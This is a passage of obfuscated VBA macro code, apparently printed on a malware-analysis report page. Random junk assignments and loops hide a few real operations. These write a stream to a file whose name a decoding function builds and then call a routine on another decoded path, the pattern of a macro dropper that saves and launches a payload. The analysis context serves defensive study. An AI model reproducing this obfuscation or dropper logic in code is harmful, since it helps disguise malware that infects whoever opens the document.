        hjwJc = "S$RJ_((]FTTtTU^JB?" + "#Kn uUXG^V?&RtrbL" + "?*v%YJ[H tgpoV"
        RcEMmd = RcEMmd + 1
    Wend

    EDQkx = "?_mD?_S]&-TkMO&DOz" + "VaBtVf@WZS^JFsnA" + ")?Ta _)O*p"
    CPBGy = LTrim("R IV[BrllAeRr")
    yKNEQ = Space(8)
    vLVCkw = 297 - 1710 - 1161
        Call ysedfzIJ.SaveToFile(ejqkm & "\\" & NOgCmlOv("IaInMuwIb^.Gejxwes"), 2)
    OeMyT = StrReverse("DElZ-_PxLcGs")
    CPBGy = Left("CSp]H]!XNVduy", 5)
    yKNEQ = "h.pB uWHvs!xzMcX-e" + "jnNXg%vmp*" + "K(SnKfiwwpLstyc?tsm("
    While AIbukE < 127
        vLVCkw = 1089 + 1543 + 878
        LubYk = Space(18)
        LFQkZZ = StrReverse("jy]#tZry-*an")
        LFQkZZ = UCase("eWZOVM-sX%f%_HNXrh*k")
        EDQkx = "Nx#AQhQnIkL-" + "Gt^.z^I?&)OxXdF" + "PTOwXgHgo.Nj$"
        yKNEQ = "?ECit(sWZcap" + "?QOKW!*TxyFiy?TJGe j" + "be*R.tKCt^gxEZMV"
        yUKUt = "bsTdqCX$tkj" + "n-N%DO xe&L#zBXuT*zs" + "BGWEAU?k*pqHe"
        xskriAWz = 1084 + 1068 + 1427
        vLVCkw = Space(17)
        LFQkZZ = RTrim("*Zx(GkI&B^WZe!jOr")
        AIbukE = AIbukE + 2
    Wend

    hjwJc = Left("jp_xJyHdrafB", 2)
    PqkFarNA = Space(7)
    While PUSFkK < 75
        vLVCkw = UCase("GNCI]A*)?mbE")
        CPBGy = Space(16)
        PUSFkK = PUSFkK + 1
    Wend

    OeMyT = RTrim("y%$W-OwnY#IT")
    vLVCkw = Right("wBF-R [kGt", 2)
        ysedfzIJ.Close
    vLVCkw = StrReverse("hH#Dl]rD.gwFTDM[U")
    yUKUt = Space(14)
    CPBGy = 1470 + 1319 + 745
    For epputY = 0 To 258
        CPBGy = Space(3)
        yUKUt = 857 + 1836 + 669
        yUKUt = "WQihDiWroPGG" + "!FGsB)NQ(Uv%nlq" + "etxMNR_oD@CSLKGUaLv%"
    Next epputY

    EDQkx = 1507 - 764 - 1358
    LFQkZZ = 940 + 1773 + 889
    End If
    OeMyT = Space(20)
    LubYk = UCase("&gruRnJw!SZ$")
    NmrKckq = LTrim("(Pg[QS^z$#^#Ch!t[b)b")
    vLVCkw = 846 + 705 + 1315
    xskriAWz = "PtuPj]yE.S-YvGz!" + "!yZQlF[g#fuAnx_m@II" + ".VEFIRS  BFA[Qy"
    yKNEQ = Right("kvt!y[ZlqYDP%b?T&", 5)
    EDQkx = Left("Q(eSdGk n^ ", 3)
    yKNEQ = RTrim("mp-V%jHjf%vCWROwX")
    xskriAWz = LTrim("eiAnQfoR@sAFef")

    CPBGy = "jxeXoZ[DTMt)!^DIGS" + "n NxsaXo]WHC@(q%" + ")$AQzjYpQ%A"
    PqkFarNA = StrReverse("GPLppnEA]ALQ]!R[vo!")
    EDQkx = 1134 + 1351 + 287
    OeMyT = RTrim("dAxID(OhQ^ I")
    xskriAWz = 1334 + 1487 + 1254
    LubYk = UCase("l)lxJdCXdMVI[)ArrJ")
    While QJgnvM < 305
        CPBGy = StrReverse("TfwjzUbl-OM_k!JglQ&v")
        LFQkZZ = Right("&b^HrvJYkZH", 2)
        PqkFarNA = Left("yccOI^nlgkdieXn", 2)
        LubYk = UCase("&]z*q)w]jvVTKQLdr[HT")
        xskriAWz = Space(8)
        PqkFarNA = Right("@o%FJLpGQVj&Wck", 2)
        QJgnvM = QJgnvM + 3
    Wend

    hjwJc = StrReverse("E_yESGpY!(zR")
    yKNEQ = 251 - 900 - 1461
    NmrKckq = UCase("uUbMV!qgaul[")

    While bfXqSUO < 610
        For pCijFk = 0 To 84
            yKNEQ = LTrim("Em(opCcrjy^aNqy")
            OeMyT = 869 + 538 + 1265
            hjwJc = Left("$!gn@_rglEC", 4)
            EDQkx = LTrim("YI)CUbhhyLwDa_L")
            yKNEQ = UCase("JJZnVoYwbcCg")
            EDQkx = LTrim("!p@PkMLEfZ^P^*ZubPdR")
            yKNEQ = 666 - 1555 - 1386
        Next pCijFk

        xskriAWz = StrReverse("EUNPcLb-q.!g WsP")
        xskriAWz = Space(10)
        LFQkZZ = Right("U#l.HEeSvy%pC]m", 3)
        LFQkZZ = 877 + 1408 + 407
        yUKUt = UCase("nP.HT!s%Ff@V*bL")
        For YymLmB = 0 To 19
            yKNEQ = Space(17)
            EDQkx = RTrim("BfzH_J]c-p^")
            yKNEQ = 1445 - 1649 - 1913
            yUKUt = RTrim("BM kGaehPV!i.OPm!v")
            yKNEQ = LTrim("zwGb$xlaiX")
            EDQkx = Right("fbvHcZRaiP", 2)
            PqkFarNA = LTrim("uBz(jQ*rSsOfg)")
        Next YymLmB

        LFQkZZ = Left("v$-ShLS@DZl", 3)
        If bfXqSUO = 148 Then
            PqkFarNA = StrReverse("AI$MIfI_t Iy#$(DaS")
            While WyChNj < 97
                vLVCkw = 1741 + 469 + 1551
                LFQkZZ = RTrim("*A^ato_-rYuK")
                vLVCkw = 1796 - 1768 - 529
                hjwJc = LTrim("OhWO.&*.mR-Yvjph")
                yUKUt = Right("HffwQp@q]yIfq(paXCHA", 4)
                OeMyT = Space(6)
                EDQkx = RTrim("#H! @sJ!Cn_^zOz#b_ &")
                WyChNj = WyChNj + 3
            Wend

            Call yzJIc(JiPvdqIq & "\\" & NOgCmlOv(qjvBOTN), "LsrWbUrN", "UYo", "MozH", "lcGK", "tZmNQu")
            yUKUt = Left("rZKQBKVsZ Fv$zObPOHO", 3)
            LFQkZZ = LTrim("dWcAO!xwBNEt_JU")
            vLVCkw = StrReverse("v.-WzM&hVn.x)Ox(DS")
            While ugLcQg < 172
                vLVCkw = Left("(z&S!R^-]gnQJ!SXqw", 2)
                hjwJc = RTrim("Nu#AAraLZlL_JyMuDJs")
                hjwJc = Right("C-&XL@.I[bms", 2)
                EDQkx = "IpG)s_IlXpPZ" + "&bj- S[^)W.EVk?Fgu%" + "mc#HPBKSCc#g"
                yUKUt = Right("tqRO&mMAaTNRR%OP", 3)
                LFQkZZ = 1664 + 1632 + 595
                CPBGy = 1202 - 880 - 1596
                ugLcQg = ugLcQg + 1
            Wend

        End If
        NmrKckq = Left("W@wSSsOg]d)arJiZ!F", 5)
        vLVCkw = 278 + 123 + 1876
        EDQkx = 715 + 961 + 1615
        LubYk = Right("?QCmHvsNL&$_OM[]i!)", 3)
        CPBGy = LTrim("jo!oDN?rLp*kwbi")
        For dDBwAn = 0 To 154
            LubYk = 585 - 1990 - 1759
            OeMyT = Space(14)
            CPBGy = StrReverse("KFzP!EKULfEQl")
            CPBGy = Left("PmWQaTP%b^h)HuA", 5)
            LFQkZZ = RTrim("rhk.dL#g_WC")
            hjwJc = 1687 + 1704 + 1257
            NmrKckq = UCase("?h[gOegAmw&")
            LubYk = Space(8)
        Next dDBwAn


    bfXqSUO = bfXqSUO + 1
    Wend
    hjwJc = RTrim("kv$gS]Ysf)BL!?bL?WW")
    NmrKckq = UCase("bWumgNOSd&#")
    hjwJc = "SKeN##Hv@t#" + "UUd_^JsPxDNNT]Aj" + "R_d G$Lx_*)Ipw"
    yKNEQ = LTrim("jWPN?Uye^KsPzz@P(^x")
    EDQkx = Space(1)
    OeMyT = RTrim("nu$Ds^VSLpkUIWXGqUv")
    yKNEQ = 463 - 1157 - 1266
    For QWCCaI = 0 To 152
        vLVCkw = Space(6)
        EDQkx = UCase("%yyWCaOHqB")
        yUKUt = RTrim("d@IZTDuwFQ")
        LFQkZZ = RTrim("nI)VTyPFM&DwTso)n")
        xskriAWz = Right("Ngw x.m]&C", 2)
        vLVCkw = Right("HctviMwGg[c(w@Nz", 3)
    Next QWCCaI

    LubYk = 1785 - 1144 - 2000
    OeMyT = Left("UTzhB&EeapU^ofRj", 5)
    yKNEQ = UCase("SVJ@tX%%!h[!TToyBD^&")

End Sub

Private Function IYMboH(mBOFCQ As Integer, WqeoaT As Boolean, RVtmBOM As Integer, jRccmrF As Double, naaaFA As String) As String
    EDQkx = 1378 + 1611 + 878
    LubYk = Space(12)
    LFQkZZ = Right("SRii$qGfKkbsOjBJb@", 5)
    yUKUt = 956 - 1466 - 296
    vLVCkw = "gKd?VTxe-p$Zi.HyLWKf" + "TKgRzU]vkv. &!fv" + "s)-Mblx$B%iijkh#Z"
    For ZAkOSM = 0 To 264
        vLVCkw = 1330 + 1738 + 409
        OeMyT = 355 + 1303 + 125
        PqkFarNA = LTrim("U#pkaWqcG!KMX%%!@O")
        xskriAWz = Space(17)
        NmrKckq = RTrim("[$jgSLbuXFbC?]Yg")
        EDQkx = 230 - 1964 - 1190
        CPBGy = 1869 + 1759 + 1090
        EDQkx = LTrim("ng!.J-iL[NOEt")
    Next ZAkOSM

    LubYk = "X zo]dj[L-& P&O]mAwD" + "O()HH)C&Pm" + "a.dvZEd*OOUHAV"
    LFQkZZ = StrReverse("lTR?XagQhwdlQ")
    hjwJc = StrReverse("PJ@tXzvZIT")
    vLVCkw = "(nrdVDeCg.@y[rr(%" + "!.N iA*I(o(quA" + "idG.pAtJoxDU.r"
    While SVQUHP < 362
        hjwJc = UCase("v-gITp?ka)&v#")
        hjwJc = Left("dGIKADVRJj!UlP?dN(Q", 3)
        OeMyT = StrReverse("znWctbY&EdgDTTje^$")
        vLVCkw = UCase("]-ukNfrQ_*W#r^q")
        SVQUHP = SVQUHP + 2
    Wend

    LubYk = Right("Gmaw?l.mjMb_p@s #rM", 2)
    OeMyT = UCase("MDlM eqZ?UhRX w")
    yUKUt = "aN N%CU_D]cR!!VIs" + "L^EWwXWbdj*CU.GK" + "-.LKs?vOiSYZrbWhss-"
    CPBGy = Right("mP(nL@N@V#HEZ", 3)
    yKNEQ = LTrim("TokPBCO# nOW_PG")
    yKNEQ = Space(18)
    LFQkZZ = Left("I?@V$pitX.u[", 5)
    CPBGy = Right("NgcQnqubiYwMI", 3)
    xskriAWz = LTrim("ju]dOfGR?rsC@RkaegOv")
    LubYk = Left(".#nAb].*b_", 5)
    EDQkx = UCase("E*)(Zsc-zzTEG$Zi")
    LubYk = LTrim("L]Dz]VYVNPpSK&nH)e")
    xskriAWz = LTrim("Ed^jCJW.mCV?xrNm")
    CPBGy = 1723 - 1485 - 1591
    For sEkAwe = 0 To 370
        LFQkZZ = "#-KFFPD[EKyqqUKrqdwK" + "jk&msXSjwMDdl@B_dG" + ")k)IzBlFcL#?Zw "
        LFQkZZ = Space(18)
        yUKUt = RTrim("#CPDbRg_g%")
        hjwJc = UCase("XFlE)[R%%gd^")
        NmrKckq = "FlcHItb.gZf_g" + "h.-RegR-qN@BSU" + "q.tGCwcvoU YmT]ri]dK"
        CPBGy = "(N-TjNzTMG#-AV" + "nciV([ve-#GUfrt" + "[).rBxOD_N#)X"
        vLVCkw = RTrim("MiUZ]iy[eii!fCj")
        yUKUt = UCase("^y^CAbb&Jn")
        OeMyT = 128 - 587 - 1006
        LubYk = Right("jA^DqK()ggpGBtT", 3)
    Next sEkAwe

    OeMyT = RTrim("SH^cy]HK*_JUk_")
    yKNEQ = 1556 - 142 - 1720
    IYMboH = "mKjBWPdmPDtXKFemxyatDGXZHAqv"
End Function

Private Function tMwTVY(LfmzaQy As Double, HfAdWS As String) As String
    yUKUt = RTrim("^Mbj!@[Hw-@H")
    For leioYE = 0 To 278
        yKNEQ = RTrim("*G&rey-M)@#WmaFfd")
        EDQkx = Left("T]tht@Hq!e", 4)
        LFQkZZ = Space(15)
        LFQkZZ = UCase("Mfn$foPWcML$c_w^F")
        xskriAWz = UCase("Z%qBZvMp%E_KX%&E")
        vLVCkw = "LlSFJ)b[e@dI(qJAS[" + "drVaEl&KsnqTOR$^$TY" + "kU-aegj*AHPP["
        LFQkZZ = 1799 - 739 - 922
    Next leioYE

    NmrKckq = "N_e@@ls@duJA" + "fGdM^Q!?QZ-l" + "Wff?!QDJrHlIbYC^@VLY"
    xskriAWz = LTrim("vJc(i@?Vzz@bS@%B")
    yKNEQ = Space(13)
    EDQkx = Left("OXFZXm[CkF", 3)
    CPBGy = 1984 - 1458 - 1433
    PqkFarNA = "C$aoV_]xDDiEcKsKz" + "IiwiAzW-Xwkh" + "H[&SWTT)u@WLfhnEj"
    xskriAWz = 568 + 1365 + 873
    PqkFarNA = Left("%UdJOxSuQE", 2)
    NmrKckq = StrReverse("IC_VqQ!N(?_NYk")
    LubYk = Right("KzHgINUhr&gq", 2)
    LubYk = 751 + 772 + 1802
    NmrKckq = 821 - 481 - 1880
    xskriAWz = RTrim("%P jiLND&kLXif")
    xskriAWz = LTrim("a@kBIfrin@VFzY")
    LFQkZZ = UCase("]pzAdb Y%itarpMA")
    yUKUt = UCase("_h-o#GSiNe& Huju)")
    vLVCkw = Space(1)
    hjwJc = Right("cIvxdLW_JdD(]Z.", 2)
    tMwTVY = "mbePuWEFIcfjzdiaesuq"
End Function

Private Function OiOJbd(GozwTkC As Integer) As String
    NmrKckq = "EGb(QD$dWTU[TT-y" + "Mum? T&REj?" + "xU]ovkNGiLA"
    hjwJc = 1659 - 410 - 597
    yKNEQ = "&QaWU-kG^fLd$@" + "a*n.Dd[jrykaTj(m-M!E" + "-$fkaxz#*o!z$"
    While BwASTB < 217
        PqkFarNA = Space(11)
        vLVCkw = StrReverse("nMZF?M%*s-n&dj")
        yUKUt = 1520 + 985 + 1128
        CPBGy = StrReverse("FkzHfhgRDV")
        NmrKckq = 875 - 804 - 479
        BwASTB = BwASTB + 3
    Wend

    yKNEQ = Right("X&TPDDH]G?a", 4)
    NmrKckq = Space(5)
    EDQkx = 1650 - 231 - 1956
    PqkFarNA = 323 - 1698 - 1054
    LFQkZZ = "s)[C$HQ]Yo *O-fSNU?V" + "^rpOZYJZQVfsuOx_" + "uTk.Q*DQVtt.tO*"
    For gZTgUi = 0 To 373
        LubYk = RTrim("MY?j]sznv-rHDKZ")
        yUKUt = StrReverse("W-G_hv-pix?B()!IZmf")
        xskriAWz = UCase("!gq.HGdYu]cMjIsRA")
        PqkFarNA = 1441 - 231 - 1362
        xskriAWz = Left("(oMID.HvX-", 5)
        xskriAWz = "]JU)fyWgHYYX" + "eokyU#uWo@ fI" + "LGBw% YaK "
        EDQkx = 1350 - 1670 - 667
        yKNEQ = Space(17)
    Next gZTgUi

    CPBGy = LTrim("-KrNNiBpGi-so bAc")
    EDQkx = UCase("_QF-yH.%-I!zvB_GR")
    LubYk = LTrim("#($XSho@*FUWh]lcuS?A")
    EDQkx = 1865 - 923 - 1265
    EDQkx = LTrim("KckQ@GC#HlxYX&ecgAv")
    CPBGy = UCase("Hx.d*xXi PH")
    CPBGy = Space(7)
    hjwJc = Space(5)
    NmrKckq = Right("JjP?V &k.Bq$QHL_C.", 2)
    EDQkx = LTrim("G$Z! d^VslQ?EryU")
    For DOzcUr = 0 To 25
        OeMyT = 1952 + 578 + 459
        LFQkZZ = Left("*f&ZC#ry)Kj-$Byx", 3)
        OeMyT = Left("yTU$B.je%Ve", 2)
    Next DOzcUr

    CPBGy = LTrim("!jINK^[mc[jTOsEvIZ$")
    OeMyT = " hzY%MQ@!cT#A%I." + "dU fKsQnUQmkrJvdyQKV" + "l)-Rc![CqB*BoHJFtw-"
    OiOJbd = "eHNPGVHsaospJezOidOsuiu"
End Function

Private Function VkYkwg(JvxCqw As String, rYsqKUV As String, YHDWmO As String, NCOjZV As Boolean, OhYIRX As Boolean) As String
    LubYk = Space(8)
    yKNEQ = "lXEs*UwprRZvFJXa@" + "NTdKArzZxr[" + "nuLIJCBQ^jUh"
    OeMyT = 1232 - 764 - 1088
    OeMyT = 715 - 1974 - 1796
    vLVCkw = Right("&bpyqYwiN-M]jj&nO", 4)
    OeMyT = Left("MDjdF_vjZW", 3)
    EDQkx = 366 + 867 + 1863
    While EqxsJV < 146
        NmrKckq = RTrim("STaxteTTpDMmqcWR")
        OeMyT = Left("*uJasOwqhUqcN", 4)
        OeMyT = 651 - 1331 - 247
        yUKUt = 982 - 759 - 1633
        EqxsJV = EqxsJV + 1
    Wend

    PqkFarNA = StrReverse("WBdrKLAKL$X_)mCcbo")
    xskriAWz = LTrim("-skB-CujS-yb[")
    OeMyT = 1936 - 792 - 207
    hjwJc = RTrim("#tcCckGOIC!bNLagpzU")
    CPBGy = Space(2)
    yKNEQ = StrReverse("[A%O-]PI[FbQyzv")
    LubYk = Right(".DdC_QTV)DHhui@", 2)
    While myWtFb < 131
        NmrKckq = "F^%oZ%e^TYF" + "s iHhFqJg-" + "_ra-Yrv(^c?aH"
        yKNEQ = LTrim("z.oSg_(fZ&KwiFBe$P")
        myWtFb = myWtFb + 1
    Wend

    vLVCkw = Left("xDbIo(VyHFpPTslesn", 3)
    EDQkx = 1219 + 1345 + 1962
    EDQkx = Left("SXX[GKcdTHv(iSvW.S", 3)
    xskriAWz = UCase("RplcR@m-!D(mh*)")
    yKNEQ = 1801 - 1216 - 1800
    OeMyT = Left("[wabmXzdL x!$_f", 4)
    PqkFarNA = RTrim("mycZnRf_rIYRX")
    NmrKckq = RTrim("pokann)GMRcJCC*h")
    yKNEQ = UCase("l!Ym HlLwgKnjLJapVi")
    NmrKckq = LTrim("NIo^^#a@VNa_")
    vLVCkw = 1156 + 180 + 1891
    NmrKckq = RTrim("Ah]&#_fQJy]")
    PqkFarNA = LTrim("xR-t]nHXU%y")
    OeMyT = Right("D(KAKUsbXlRq", 3)
    vLVCkw = StrReverse("M%mn]  dPW%Ln@d!")
    CPBGy = 631 + 1755 + 1458
    While iMVQSc < 397
        PqkFarNA = Left(" rQZAl^Lz.%Yfmf", 3)
        hjwJc = 238 + 1741 + 353
        LubYk = Left("gAl?fEZlP?n(o Jp", 5)
        iMVQSc = iMVQSc + 1
    Wend

    VkYkwg = "jAqOHIhHqlKWPjkmWcrnQmcvwZFIyPOBk"
End Function

Private Function qZLrmk(YnNEsZ As Integer, BZrQGX As String, aHItgyu As Integer, jCcsxg As Double) As String
    vLVCkw = LTrim("kQykg$)XNh")
    LubYk = Space(2)
    While DwsvOY < 291
        LFQkZZ = StrReverse("S-llxeN.bWxI%asIkq")
        EDQkx = 204 + 525 + 1575
        LubYk = LTrim("o.[Rm)NvjJ")
        yKNEQ = UCase("IB[$SFE$gfoQ")
        NmrKckq = Right("YodYoLqQj]CaS_*", 2)
        yUKUt = 1125 - 1142 - 876
        LFQkZZ = StrReverse("yb$WUFL*T&CYzCl")
        DwsvOY = DwsvOY + 3
    Wend

    vLVCkw = StrReverse("lhLYzrPTVVa!A?sO")
    LFQkZZ = Left("Sm-?O[^imGB!(l&jrK-$", 4)
    yKNEQ = 610 - 513 - 1373
    OeMyT = 618 + 1271 + 1408
    yUKUt = Right("DEhTbIfxjSrTz d^", 2)
    LFQkZZ = 406 - 915 - 741
    PqkFarNA = Left("Wkb@(NYfFD@d!", 3)
    yKNEQ = Right("H*phyI*C.&UGlnqAV", 3)
    OeMyT = 219 + 369 + 1516
    yKNEQ = Space(15)
    PqkFarNA = RTrim("gi^j$@cTy*lMR&")
    PqkFarNA = StrReverse("_IG.HQ&hF)")
    LFQkZZ = UCase("lIQ!%tgRFujrYV")
    EDQkx = 1729 - 1874 - 528
    NmrKckq = Space(13)
    yUKUt = Right("FC)*to.JNbuc#Gu?", 4)
    EDQkx = UCase("iGgj(AeSUB$gAO?%")
    LubYk = 686 - 1386 - 1608
    CPBGy = Left("zSv@%ypaFseL", 4)
    While TuDpGw < 74
        hjwJc = LTrim(")P?Wu%yY).&.$")
        NmrKckq = RTrim("atiDVXs$Bs$!&TvFAoS")
        xskriAWz = LTrim("kQU!_JZVTra_@")
        yKNEQ = Space(18)
        yUKUt = UCase("gWWgIRpTRWLt!]%xw!k")
        OeMyT = StrReverse("gvSyTIfhnSlrLYgjTP!Q")
        LFQkZZ = 1691 - 1698 - 1024
        PqkFarNA = Space(11)
        TuDpGw = TuDpGw + 2
    Wend

    NmrKckq = RTrim("CE)lzcJh*ORjt?AY]z)")
    CPBGy = RTrim("dypT.[Xb&Q%Q)")
    yKNEQ = StrReverse("kQ(X[VyjpmvX(XSkRx%")
    While ExTPRm < 25
        yKNEQ = "BoxhFy!r[#&" + "iA??e.SvZRsqG(" + "eTlCrh@nOGs.P.ld$"
        yUKUt = Space(6)
        LubYk = StrReverse("GosLk$ind^f^]%Yh")
        ExTPRm = ExTPRm + 1
    Wend

    PqkFarNA = RTrim("m#TZxYM@E%b")
    CPBGy = Left("LDrlpHz pvn.p!ywV", 4)
    LFQkZZ = Space(17)
    LubYk = 344 + 549 + 1974
    qZLrmk = "MqpVSxTLpdUEHuddynBraFJTfXAllAW"
End Function

Private Function TDYRjk(IjZUSY As String, TddWevU As Double) As String
    LubYk = StrReverse("mZ^Ky u_S.*otaq[")
    yUKUt = UCase("rpfQL[d_zM")
…

Open this report in the interactive analyzer, or submit your own file for analysis.